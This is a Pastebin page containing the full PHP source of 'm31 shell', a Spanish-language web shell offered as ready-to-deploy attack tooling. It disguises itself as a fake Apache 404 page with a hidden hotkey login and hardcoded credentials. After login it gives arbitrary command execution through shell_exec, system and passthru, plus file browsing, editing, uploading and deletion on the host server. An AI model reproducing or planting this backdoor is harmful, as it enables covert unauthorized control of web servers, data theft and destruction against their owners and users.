Advertisement
Guest User

m31 shell by Aex12 v0.1.1a

a guest
Jul 13th, 2013
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 23.25 KB | None | 0 0
  1. <?php
  2. /* http://holoscripter.org/foro/index.php?topic=301.0 */
  3. header('Content-Type: text/html; charset=UTF-8'); //Charset (UTF-8 por defecto)
  4. DEFINE("user","50f8b2690eeac2c2590451b81c45f893f9a57b8d"); // Usuario: sha1(md5("m31"));
  5. DEFINE("pass","5e43ac2ef1139e88fada3c19b1b10a94493832a3"); // Contraseña: sha1(md5("holoscripter"));
  6. //Opciones de "personalizacion"
  7. $background = "http://fc08.deviantart.net/fs70/i/2011/015/e/3/clarity_by_foolish_fox-d379pzg.jpg"; //fondo de la shell
  8. $body_style = "margin-top:19px; background-repeat:no-repeat; background-attachment:fixed;"; //css de body
  9. $logotipo = "abajo"; // Posibles: arriba, abajo, desactivado.
  10. $nav_color = "#E3E3E3"; //Color en html del fondo del menu
  11. $accordion_color = "#F5F5F5"; //color en html del menu
  12. $menu_radio = "8"; //radio en pixeles de los menus.
  13. //Opciones de las sesiones PHP:
  14. $lifetime = "0"; //Tiempo en segundos que durará la sesion. 0 = hasta cerrar navegador.
  15. $maxlifetime = "259200"; //tiempo en segundos que tardará la sesion en caducar en caso de inactividad.
  16. //Opciones del chat:
  17. $wmode = "direct"; //posibles: transparent, opaque, window, direct. (Busca en google)
  18. $quality = "high"; //posibles: high, low, medium
  19. $language = "es"; //posibles: es, en.
  20. $height = "466"; //Alto en pixeles
  21. $width = "790"; //Ancho en pixeles
  22. $bgcolor = "#000000"; //color de fondo en html
  23. $xats = array(
  24. 'Holoscripter' => '153256001',
  25. 'Chat2' => '21312',
  26. 'Chat3' => '123'
  27. );
  28. //Opciones POPUP editar:
  29. $popup_ancho = "650"; //ancho en pixeles del popup editar
  30. $popup_alto = "500"; //alto en pixeles  del popup editar
  31. //combinaciones:
  32. $comb_login = "ctrl+k"; //combinacion de teclas para abrir login
  33. $comb_save = "ctrl+s"; //combinacion de teclas para guardar un archivo mientras se edita.
  34. //iconos para archivos:
  35. $icono_borrar = "http://cdn1.iconfinder.com/data/icons/aspneticons_v1.0_Nov2006/trash_%28delete%29_16x16.gif";
  36. $icono_editar = "http://cdn1.iconfinder.com/data/icons/silk2/page_white_edit.png";
  37. $icono_carpeta = "http://cdn1.iconfinder.com/data/icons/fugue/icon_shadowless/folder_horizontal_open.png";
  38. $icono_desconocido = "http://cdn1.iconfinder.com/data/icons/16x16-free-toolbar-icons/16/file.png";
  39. $iconos = array(
  40. 'pdf' => 'http://cdn1.iconfinder.com/data/icons/spirit20/file-pdf.png',
  41. 'xls' => 'http://cdn1.iconfinder.com/data/icons/spirit20/file-xls.png',
  42. 'php' => 'http://static.php.net/www.php.net/favicon.ico',
  43. 'html' => 'http://cdn1.iconfinder.com/data/icons/ledicons/html.png',
  44. 'txt' => 'http://cdn1.iconfinder.com/data/icons/16x16-free-toolbar-icons/16/2.png',
  45. 'png' => 'http://cdn1.iconfinder.com/data/icons/ledicons/picture.png',
  46. 'jpg' => 'http://cdn1.iconfinder.com/data/icons/ledicons/picture.png',
  47. 'jpeg' => 'http://cdn1.iconfinder.com/data/icons/ledicons/picture.png',
  48. 'gif' => 'http://cdn1.iconfinder.com/data/icons/ledicons/picture.png',
  49. 'js' => 'http://cdn1.iconfinder.com/data/icons/silk2/cup_edit.png',
  50. );
  51.  
  52.  
  53. session_set_cookie_params($lifetime);
  54. ini_set("session.gc_maxlifetime", $maxlifetime);
  55. session_start();
  56. if(!isset($_GET['page'])){
  57. if(!isset($_SESSION['page'])){
  58. $page = "welcome";
  59. $_SESSION['page'] = "welcome";
  60. } else {
  61. $page = $_SESSION['page'];
  62. }
  63. } else {
  64. $page = $_GET['page'];
  65. $_SESSION['page'] = $_GET['page'];
  66. }
  67.  
  68. if(isset($_GET['reload'])){
  69. $page = $_SESSION['page'];
  70. }
  71.  
  72. if($page == "disconnect"){
  73. session_destroy();
  74. header('Location: '.$_SERVER['PHP_SELF']);
  75. }
  76. if((isset($_POST['user'])) && (isset($_POST['pass']))){
  77. $_SESSION['user'] = sha1(md5($_POST['user']));
  78. $_SESSION['pass'] = sha1(md5($_POST['pass']));
  79. }
  80.  
  81.  
  82. if(isset($_GET['dir'])){$_SESSION['dir'] = $_GET['dir'];}
  83. if(!isset($_SESSION['dir'])){ $_SESSION['dir'] = getcwd();}
  84. $dir = $_SESSION['dir'];
  85.  
  86. function extension($ext){
  87. if(strpos($ext,".")){
  88. return end(explode(".", $ext));
  89. } else {
  90. return ".";
  91. }
  92. }
  93.  
  94. function tamano($peso , $decimales = 2 ) {
  95. $clase = array(" Bytes", " KB", " MB", " GB", " TB");
  96. if($peso != 0){
  97. return round($peso/pow(1024,($i = floor(log($peso, 1024)))),$decimales ).$clase[$i];
  98. } else {
  99. return "Vacio";
  100. }
  101. }
  102.  
  103. function table($nombre, $carpeta=0, $id=0){
  104. global $dir; global $iconos; global $icono_desconocido; global $icono_carpeta; global $icono_borrar; global $icono_editar;
  105. if($carpeta==0){
  106. $extension = extension($nombre);
  107. if(!isset($iconos[$extension])){
  108. $icono = $icono_desconocido;
  109. } else {
  110. $icono = $iconos[$extension];
  111. }
  112. $return =
  113. '<tr id="a_'.$id.'">
  114. <td><img src="'.$icono.'"></td>
  115. <td id="an_'.$id.'">'.$nombre.'</td>
  116. <td>'.tamano(@filesize($nombre)).'</td>
  117. <td><a onClick="edit(\''.$dir.'/'.$nombre.'\');"><img src="'.$icono_editar.'" title="EDITAR '.$nombre.'"></a>&nbsp;<a onClick="delfile(\''.$dir.'/'.$nombre.'\', \'a_'.$id.'\')"><img src="'.$icono_borrar.'" title="ELIMINAR '.$nombre.'"></a></td>
  118. </tr>';
  119. return $return;
  120. } elseif(($nombre == "..") && ($carpeta==1)){
  121. $carpetas = split("/",$dir);
  122. array_pop($carpetas);
  123. $dir2 = join("/",$carpetas);
  124. if($dir2==""){$dir2="/";}
  125. $return =
  126. '<tr>
  127. <td><img src="'.$icono_carpeta.'"></td>
  128. <td><a href="#" onClick="listardir(\''.$dir2.'\')">[Atrás] '.$nombre.'</a></td>
  129. <td></td>
  130. <td></td>
  131. </tr>';
  132. return $return;
  133. } elseif(($nombre == ".") && ($carpeta==1)){
  134. $return =
  135. '<tr>
  136. <td><img src="'.$icono_carpeta.'"></td>
  137. <td><a href="#" onClick="listardir(\''.$dir.'\')">[Recargar] '.$nombre.'</a></td>
  138. <td></td>
  139. <td></td>
  140. </tr>';
  141. return $return;
  142. } elseif($carpeta==1){
  143. if($dir=="/"){$dir="";}
  144. $return =
  145. '<tr>
  146. <td><img src="'.$icono_carpeta.'"></td>
  147. <td><a href="#" onClick="listardir(\''.$dir.'/'.$nombre.'\')">'.$nombre.'</a></td>
  148. <td></td>
  149. <td>Borrar</td>
  150. </tr>';
  151. return $return;
  152. }
  153. }
  154.  
  155. function add2menu($nombre, $pagina){
  156. echo "<li id='nav_$pagina' class='".active($pagina)."'><a href='?page=$pagina' onclick='page(\"$pagina\"); return false;'>+ $nombre</a></li>";
  157. }
  158.  
  159. function active($pagina){
  160. if($_SESSION['page'] == $pagina){return 'active';}
  161. }
  162.  
  163. if(isset($_SESSION['user'])){
  164. if(($_SESSION['user'] == user) && ($_SESSION['pass'] == pass)){
  165. $online = 1;
  166. if((isset($_POST['user'])) && (isset($_POST['pass']))){
  167. exit(header("Location: ".$_SERVER['PHP_SELF']."?page=welcome"));
  168. }
  169. }
  170. }
  171.  
  172. if(isset($online)){
  173.  
  174. if(isset($_GET['cmd'])){
  175. $metodo = $_GET['metodo'];
  176. $cmd = $_GET['cmd'];
  177. chdir($dir);
  178.  
  179. if($metodo == "shellexec"){
  180. echo nl2br(htmlspecialchars(shell_exec($cmd)));
  181. exit();
  182. }
  183.  
  184. if($metodo == "system"){
  185. system($cmd);
  186. exit();
  187. }
  188.  
  189. if($metodo == "passthru"){
  190. passthru($cmd);
  191. exit();
  192. }
  193. exit("No se ha seleccionado metodo");
  194. }
  195.  
  196. if(isset($_GET['edit'])){
  197. if(isset($_POST['content'])){
  198. if($fp = @fopen($_GET['edit'],"w")){
  199. fwrite($fp, $_POST['content']);
  200. fclose($fp);
  201. exit('exito');
  202. } else {
  203. exit("error:perm");
  204. }
  205. }
  206. }
  207.  
  208. if(isset($_GET['edit'])){
  209. $html = htmlspecialchars(file_get_contents($_GET['edit']));
  210. ?>
  211. <script language="javascript" type="text/javascript" src="http://www.cdolivet.com/editarea/editarea/edit_area/edit_area_full.js"></script>
  212. <script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.1/jquery.min.js"></script>
  213. <script src="http://js-hotkeys.googlecode.com/files/jquery.hotkeys-0.7.9.min.js"></script>
  214. <link rel="stylesheet" href="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.core.css"/>
  215. <link rel="stylesheet" href="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.default.css"/>
  216. <script src="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.min.js"></script>
  217. <script language="javascript" type="text/javascript">
  218. editAreaLoader.init({
  219.     id : "a1"
  220.     ,syntax: "php"
  221.     ,language: "es"
  222.     ,save_callback: "check"
  223.     ,display: "later"
  224.     ,toolbar: "save,|,search, go_to_line, fullscreen, |, undo, redo, |, syntax_selection, |, select_font,|, change_smooth_selection, highlight, reset_highlight, word_wrap, |, help"
  225.     ,start_highlight: true
  226. });
  227.  
  228. function save(content){
  229. $.post("?edit=<?php echo $_GET['edit']; ?>", { content: content })
  230. .done(function(data) {
  231.   if(data == "exito"){
  232.   alertify.success("Editado correctamente!", 2500);
  233.   }
  234.  
  235.   if(data == "error:perm"){
  236.   alertify.error("No tienes permisos para editar este archivo");
  237.   }
  238. });
  239. }
  240.  
  241. function check(id, content){
  242. if(id){
  243. save(content);
  244. } else {
  245. save($('#a1').val());
  246. }
  247. }
  248.  
  249. $(document).bind('keydown', '<?php echo $comb_save; ?>', function (evt) {
  250.        check();
  251.        return false;
  252.     });
  253.    
  254. </script>
  255. <textarea id="a1" style="width:100%; height:97%; margin-top:0px; margin-left:0px;">
  256. <?php echo $html; ?>
  257. </textarea>
  258. ATENCION: Si tu PC es poco potente no es recomendado activar esta opcion en archivos grandes.
  259. <button onClick="check();">Guardar</button>
  260. <?php
  261. exit();
  262. }
  263.  
  264. if(isset($_GET['upload'])){
  265. if (array_key_exists('HTTP_X_FILE_NAME', $_SERVER) && array_key_exists('CONTENT_LENGTH', $_SERVER)) {
  266.     $fileName = $_SERVER['HTTP_X_FILE_NAME'];
  267.     $contentLength = $_SERVER['CONTENT_LENGTH'];
  268. } else throw new Exception("Error recibiendo cabeceras");
  269.  
  270. if (!$contentLength > 0) {
  271.     throw new Exception('No se ha subido ningun archivo!');
  272. }
  273.  
  274. if($_GET['newname'] == ""){ $_GET['newname'] = $fileName;}
  275. file_put_contents($dir.'/'.$_GET['newname'], file_get_contents("php://input"));
  276. exit();
  277. }
  278.  
  279. if(isset($_GET['obtenerdir'])){
  280. $_SESSION['dir'] = $_GET['obtenerdir'];
  281. $dir = $_SESSION['dir'];
  282. @chdir($dir);
  283. ?>
  284. <script>alertify.log("Carpeta: <?php echo $dir; ?>", "", 2500);</script>
  285. <table class="table table-striped table-condensed" id="table_files" style="width:100%;">
  286.  <thead>
  287.                 <tr style="width:100%;">
  288.                   <th style="width:10%;">i</th>
  289.                   <th style="width:40%;">Nombre</th>
  290.                   <th style="width:30%;">Peso</th>
  291.                   <th style="width:20%;"><div class="btn-group">
  292.   <a class="btn dropdown-toggle" data-toggle="dropdown" href="#">
  293.     Acciones
  294.     <span class="caret"></span>
  295.   </a>
  296.   <ul class="dropdown-menu">
  297.     <li><a tabindex="-1" href="#" id="opener" onclick="$('#dialog').dialog('open');">Subir archivos</a></li>
  298.   </ul>
  299. </div></th>
  300.                 </tr>
  301.               </thead>
  302.               <tbody>
  303. <?php
  304. $folders = array();
  305. $archivos1 = array();
  306. if(!@opendir($dir)){
  307. echo table('..', 1);
  308. ?>
  309. </table>
  310. <hr>
  311. <b>No tienes permisos para visualizar esta carpeta, vuelva atrás.</b>
  312. <?php
  313. exit; }
  314. $directorio=opendir($dir);
  315.  
  316. while ($archivo = readdir($directorio)) {
  317.  if($archivo == '.'){
  318.  echo table(".", 1);
  319.   } elseif($archivo == '..'){
  320.     if($dir != '.'){
  321.       echo table($archivo, 1);
  322.     }
  323.   }
  324.   elseif(is_dir("$dir/$archivo")){
  325.     $folders[] = $archivo;
  326.   } else {
  327.  $archivos1[] = $archivo;
  328. }
  329.  
  330. }
  331. closedir($directorio);
  332. $i=0;
  333. @array_multisort(@array_map('strtolower', $folders), $folders);
  334. while ($i < count ($folders) ) {
  335.     echo table($folders[$i], 1);
  336.     $i++;
  337. }
  338.  
  339. $i=0;
  340. @array_multisort(@array_map('strtolower', $archivos1), $archivos1);
  341. while ($i < count ($archivos1) ) {
  342.     echo table($archivos1[$i], 0, $i);
  343.     $i++;
  344. }
  345. ?>
  346. </tbody>
  347. </table>
  348. <?php
  349. exit();
  350. }
  351.  
  352. if(isset($_GET['delete'])){
  353. if(unlink($_GET['delete'])){
  354. exit("1");
  355. } else {
  356. exit("0");
  357. }
  358. }
  359.  
  360. if(isset($_GET['ajaxpage'])){
  361.  if($page == "welcome"){ ?>
  362.     <script>alertify.log("Bienvenido!", "", 3000);;</script>
  363.       <div class="hero-unit">
  364.   <h1>Bienvenido a m31</h1>
  365.   <p>Esta es la unica shell hasta el momento que usa jQuery, jQueryUI, Ajax y Bootstrap. Espero que le agrade, ya que ha sido diseñada para ser sencilla de usar, sin tener que renunciar a opciones mas avanzadas. Si no conoce bien el funcionamiento de esta shell, simplemente haga click en el boton "Manual" para ir al hilo oficial de esta shell y recibir mas información acerca de ella. Cordialmente, Aex12.</p>
  366.   <p>No me hago responsable de ningun daño causado con esta shell, todo acto dañino/delictivo será responsabilidad del usuario final.</p>
  367.   <p>
  368.     <a class="btn btn-primary btn-large" href="http://holoscripter.org/foro/index.php?topic=301.0">
  369.       Manual
  370.     </a>
  371.   </p>
  372. </div>
  373. <?php
  374. exit();
  375. }
  376.  
  377. if($page == "phpinfo"){
  378. echo '<script>alertify.log("PHPInfo", "", 3000);;</script>';
  379. echo phpinfo();
  380. exit();
  381. }
  382.  
  383. if($page == "terminal"){
  384. ?>
  385. <script>
  386. function cmd() {
  387. var cmd = $("#cmd").val();
  388. var metodo = $("input[name='metodo']:checked").val();
  389. $.get('?cmd='+cmd+'&metodo='+metodo, function(data) {
  390. $("#resultcmd").html(data);
  391. $("#cmd").val("");
  392. });
  393. return false;
  394. }
  395.  
  396. alertify.log("Terminal", "", 3000);
  397.  
  398. </script>
  399. <div class="well well-small">
  400. <span class="label"><?php echo getenv("APACHE_RUN_USER"); ?>@php:<?php echo $dir; ?>$</span>
  401.     <hr>
  402.     <blockquote>
  403.     <p id="resultcmd"></p>
  404.     </blockquote>
  405.     <hr>
  406.   <div class="input-prepend input-append">
  407.   <input class="span7" style="width:100%;" id="cmd" onkeypress="{if (event.keyCode==13)cmd()}" type="text">
  408.   <button onClick="cmd();" class="btn">Ejecutar</button>
  409. </div>
  410. <br>
  411. Metodo de ejecución:
  412. <input type="radio" name="metodo" value="shellexec" checked> shell_exec()&nbsp;
  413. <input type="radio" name="metodo" value="system"> system()&nbsp;
  414. <input type="radio" name="metodo" value="passthru"> passthru()&nbsp;
  415.     </div>
  416. <?php
  417. exit();
  418. }
  419.  
  420. if($page == "about"){
  421. ?>
  422. <script>alertify.log("Acerca de", "", 3000);;</script>
  423.  <div class="hero-unit">
  424.   <h1>m31 shell v0.1.0b</h1><p>
  425.   <br>Shell realizada por Aex12 para la comunidad de Holoscripter.
  426.   <br>El logotipo y favicon han sido diseñados por Exit
  427.   <br>El fondo por defecto está sacado de uno de los wallpapers de Lubuntu 13.04
  428.   <br><br>Se han usado las siguientes librerías:
  429.   <br><a href="http://twitter.github.io/bootstrap/">Bootstrap</a> (CSS), <a href="http://jquery.com/">jQuery</a> (JS), <a href="http://jqueryui.com/">jQuery UI</a> (CSS y JS), <a href="http://fabien-d.github.io/alertify.js/">Alertify</a> (CSS y JS), <a href="http://www.cdolivet.com/editarea/">EditArea</a> (JS), <a href="http://code.google.com/p/js-hotkeys/">HotKeys</a> (JS)
  430.   </p>
  431. </div>
  432. <?php
  433. exit();
  434. }
  435.  
  436. if($page == "xat"){
  437. ?>
  438. <script src="http://localhost/bootstrap/docs/assets/js/bootstrap-tab.js"></script>
  439. <script>
  440. function chateando(xat){
  441. alertify.log("Chateando en: "+xat, "", 3000)
  442. }
  443. </script>
  444. <div class="well well-small">
  445. <div class="tabbable">
  446.   <ul class="nav nav-tabs">
  447.   <?php
  448.   $i = 1;
  449.   foreach ($xats as $clave => $valor) {
  450.    if($i == 1){
  451.     echo '<li class="active"><a href="#tab1" onClick="chateando(\''.$clave.'\')" data-toggle="tab">'.$clave.'</a></li>';
  452.     $i++;
  453.     } else {
  454.     echo '<li><a href="#tab'.$i.'" onClick="chateando(\''.$clave.'\')" data-toggle="tab">'.$clave.'</a></li>';
  455.     $i++;
  456.     }
  457.     } ?>
  458.   </ul>
  459.   <div class="tab-content">
  460.     <?php
  461.   $i = 1;
  462.   foreach ($xats as $clave => $valor) {
  463.   if($i == 1){
  464.   echo '<script>chateando("'.$clave.'");</script>';
  465.     echo '<div class="tab-pane active" id="tab1">';
  466. echo '<embed src="http://www.xatech.com/web_gear/chat/chat.swf" wmode="'.$wmode.'" quality="'.$quality.'" bgcolor="'.$bgcolor.'" width="'.$width.'" height="'.$height.'" name="chat" FlashVars="id='.$valor.'&rl='.$language.'" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://xat.com/update_flash.shtml" />';
  467.     ?>
  468.     <div class="alert alert-info">
  469.     <b>¿No te abren los enlaces?</b> Prueba a usar esta combinación: <i>" Alt Gr + Click "</i>
  470.     </div>
  471.     <?php
  472.     echo '</div>';
  473.     $i++;
  474.     } else {
  475.         echo '<div class="tab-pane" id="tab'.$i.'">';
  476.     echo '<embed src="http://www.xatech.com/web_gear/chat/chat.swf" wmode="'.$wmode.'" quality="'.$quality.'" bgcolor="'.$bgcolor.'" width="'.$width.'" height="'.$height.'" name="chat" FlashVars="id='.$valor.'&rl='.$language.'" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://xat.com/update_flash.shtml" />';
  477.     ?>
  478.     <div class="alert alert-info">
  479.     <b>¿No te abren los enlaces?</b> Prueba a usar esta combinación: <i>" Alt Gr + Click "</i>
  480.     </div>
  481.     <?php
  482.     echo '</div>';
  483.     $i++;
  484.     }
  485.     } ?>
  486.   </div>
  487.   </div>
  488. </div>
  489. <?php
  490. exit();
  491. }
  492.  
  493. if($page == "files"){ ?>
  494. <script>
  495.  
  496.   $(document).ready(function () {
  497.   listardir("<?php echo $dir; ?>");
  498. });
  499.  
  500. function listardir(dir){
  501. $.get('?obtenerdir='+dir, function(data) {
  502. $("#listado").html(data);
  503. });
  504. }
  505. function delfile(del, id){
  506. $.get('?delete='+del, function(data) {
  507. if(data == 1){
  508. var myarray = del.split('/');
  509. alertify.success("Se ha eliminado "+myarray[myarray.length-1], 1000);
  510. $("#"+id).fadeOut(250, function(){ $(this).remove();});
  511. } else {
  512. alertify.error("No se pudo eliminar el archivo", 1000);
  513. }
  514. });
  515. }
  516.  
  517. function edit(file){
  518. window.open('?edit='+file,'','width=<?php echo $popup_ancho; ?>,height=<?php echo $popup_alto; ?>');
  519. }
  520.  
  521.   $(function() {
  522.     $("#dialog").dialog({
  523.       autoOpen: false,
  524.       show: {
  525.         effect: "slide",
  526.         duration: 600
  527.       },
  528.       hide: {
  529.         effect: "fold",
  530.         duration: 400
  531.       }
  532.     });
  533.   });
  534.     function nombre(fic) {
  535.   fic = fic.split('\\');
  536.   return fic[fic.length-1];
  537. }
  538.  
  539.   function uploadFile(file){
  540.     if(file){
  541. alertify.prompt("Elija el nuevo nombre del archivo a subir.", function (e, str) {
  542.     // str is the input text
  543.     if (e) {
  544.             xhr = new XMLHttpRequest();
  545.  
  546.             xhr.upload.addEventListener('load',function(e){
  547.                 alertify.success("El archivo se subio correctamente");
  548.             }, false);
  549.  
  550.             xhr.upload.addEventListener('error',function(e){
  551.                 alertify.error("Hubo algún problema al subir el archivo");
  552.             }, false);
  553.  
  554.             xhr.open('POST','?upload&newname='+str);
  555.  
  556.             xhr.setRequestHeader("Cache-Control", "no-cache");
  557.             xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
  558.             xhr.setRequestHeader("X-File-Name", file.name);
  559.  
  560.             xhr.send(file);
  561.     } else {
  562.         return;
  563.     }
  564. }, nombre($("#archivo").val()));
  565.  
  566.     }
  567. }
  568.  
  569.  
  570. function forceupload(){
  571.     var upload_input = document.querySelectorAll('#archivo')[0];
  572.     uploadFile( upload_input.files[0] );
  573. }
  574.   </script>
  575. <div id="dialog" title="Basic dialog">
  576.   <input type="file" id="archivo"/><br>
  577.   <button onclick="forceupload();">Subir archivo</button>
  578. </div>
  579.  
  580. <div class="well well-small">
  581. <div id="listado">
  582.  
  583.  
  584.  
  585. </div>
  586. </div>
  587. <?php
  588. exit();
  589. }
  590. }
  591. }
  592.  
  593. ?>
  594. <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
  595. <html><head>
  596. <script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.1/jquery.min.js"></script>
  597. <script src="http://js-hotkeys.googlecode.com/files/jquery.hotkeys-0.7.9.min.js"></script>
  598. <link rel="stylesheet" href="http://code.jquery.com/ui/1.10.3/themes/smoothness/jquery-ui.css" />
  599. <script src="http://code.jquery.com/ui/1.10.3/jquery-ui.js"></script>
  600. <script src="http://twitter.github.io/bootstrap/assets/js/bootstrap-dropdown.js"></script>
  601. </head>
  602. <?php if(!isset($online)){?>
  603. <body>
  604. <script>
  605. $(document).bind('keydown', '<?php echo $comb_login; ?>', function (evt) {
  606.        $( "#dialog" ).dialog( "open" );
  607.        return false;
  608.     });
  609.  
  610.   $(function() {
  611.     $("#dialog").dialog({
  612.       autoOpen: false,
  613.       show: {
  614.         effect: "blind",
  615.         duration: 600
  616.       },
  617.       hide: {
  618.         effect: "explode",
  619.         duration: 400
  620.       }
  621.     });
  622.   });
  623. </script>
  624. <title>404 Not Found</title>
  625. <h1>Not Found</h1>
  626. <p>The requested URL <?php echo $_SERVER['PHP_SELF']; ?> was not found on this server.</p>
  627. <hr>
  628. <?php echo $_SERVER['SERVER_SIGNATURE'];  ?>
  629.  
  630. <div id="dialog" title="Acceso al shell">
  631.  <form name="formu1" method=POST action="">Usuario: <input type="text" name="user"><br>
  632.  Contraseña: <input type="password" name="pass"><br>
  633. <input type="submit" value="Acceder"></form>
  634. </div>
  635. </body></html>
  636. <?php } else { ?>
  637. <link rel="icon" type="image/png" href="http://i.imgur.com/vQEXqX0.png">
  638. <title>m31 Shell By Aex12</title>
  639. <link rel="stylesheet" href="http://bootswatch.com/default/bootstrap.min.css"/>
  640. <link rel="stylesheet" href="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.core.css"/>
  641. <link rel="stylesheet" href="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.default.css"/>
  642. <script src="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.min.js"></script>
  643. <script src="http://twitter.github.io/bootstrap/assets/js/bootstrap-collapse.js"></script>
  644. <body style="<?php echo $body_style; ?>" background="<?php echo $background; ?>">
  645. <div class="container-fluid">
  646.   <div class="row-fluid">
  647.     <div class="span2">
  648. <script>
  649. var antiquepage;
  650. function page(page){
  651. $.get('?page='+page+"&ajaxpage=true", function(data) {
  652. $("#contenido_pagina").html(data);
  653. $("#nav_"+page).addClass("active");
  654. $("#nav_"+antiquepage).removeClass("active");
  655. antiquepage = page;
  656. });
  657. }
  658.  
  659. function reload(){
  660. $.get('?reload=true&ajaxpage=true', function(data) {
  661. $("#contenido_pagina").html(data);
  662. });
  663. }
  664.  
  665. page('<?php echo $_SESSION["page"]; ?>');
  666.  
  667. $(document).bind('keydown', 'f5', function (evt) {
  668.        reload();
  669.        return false;
  670.     });
  671. </script>
  672. <div style="position: fixed">
  673. <?php if($logotipo=="arriba"){
  674. echo '<img src="http://i.imgur.com/wOolqv5.png">';
  675. } ?>
  676.  
  677.  <div class="accordion" id="accordion2">
  678.   <div class="accordion-group" style="background-color:<?php echo $accordion_color;?>; border-radius:<?php echo $menu_radio; ?>px;">
  679.     <div class="accordion-heading">
  680.       <a class="accordion-toggle" data-toggle="collapse" data-parent="#accordion2" href="#collapseOne">
  681.       [ Básico ]
  682.       </a>
  683.     </div>
  684.     <div id="collapseOne" class="accordion-body collapse in">
  685.       <div class="accordion-inner" style="background-color:<?php echo $nav_color;?>; border-bottom-right-radius:<?php echo $menu_radio; ?>px; border-bottom-left-radius:<?php echo $menu_radio; ?>px;">
  686.       <ul class="nav nav-list">
  687.   <?php add2menu("Archivos", "files"); ?>
  688.   </ul>
  689.    </div>
  690.     </div>
  691.   </div>
  692.   <div class="accordion-group" style="background-color:<?php echo $accordion_color;?>; border-radius:<?php echo $menu_radio; ?>px;">
  693.     <div class="accordion-heading">
  694.       <a class="accordion-toggle" data-toggle="collapse" data-parent="#accordion2" href="#collapseTwo">
  695.       [ Avanzado ]
  696.        </a>
  697.     </div>
  698.     <div id="collapseTwo" class="accordion-body collapse">
  699.       <div class="accordion-inner" style="background-color:<?php echo $nav_color;?>; border-bottom-right-radius:<?php echo $menu_radio; ?>px; border-bottom-left-radius:<?php echo $menu_radio; ?>px;">
  700.        <ul class="nav nav-list">
  701.   <?php add2menu("Terminal", "terminal");
  702.     add2menu("phpinfo()", "phpinfo"); ?>
  703.    
  704.   </ul>
  705.   </div>
  706.     </div>
  707.   </div>
  708.   <div class="accordion-group" style="background-color:<?php echo $accordion_color;?>; border-radius:<?php echo $menu_radio; ?>px;">
  709.     <div class="accordion-heading">
  710.       <a class="accordion-toggle" data-toggle="collapse" data-parent="#accordion2" href="#collapseThree">
  711.   [ Otros ]
  712.   </a>
  713.     </div>
  714.     <div id="collapseThree" class="accordion-body collapse">
  715.       <div class="accordion-inner" style="background-color:<?php echo $nav_color;?>; border-bottom-right-radius:<?php echo $menu_radio; ?>px; border-bottom-left-radius:<?php echo $menu_radio; ?>px;">
  716.   <ul class="nav nav-list">
  717.   <?php add2menu("Bienvenido", "welcome");
  718.     add2menu("Chat", "xat");
  719.     add2menu("Acerca de", "about"); ?>
  720.   <li><a href="?page=disconnect">+ Desconectar</a></li>
  721. </ul>
  722. </div>
  723.     </div>
  724.   </div>
  725. </div>
  726. <?php if($logotipo=="abajo"){
  727. echo '<img src="http://i.imgur.com/wOolqv5.png">';
  728. } ?>
  729.     </div>
  730.     </div>
  731.     <div class="span10" id="contenido_pagina">
  732.    
  733.     </div>
  734.   </div>
  735. </div>
  736. </body>
  737. <?php } ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement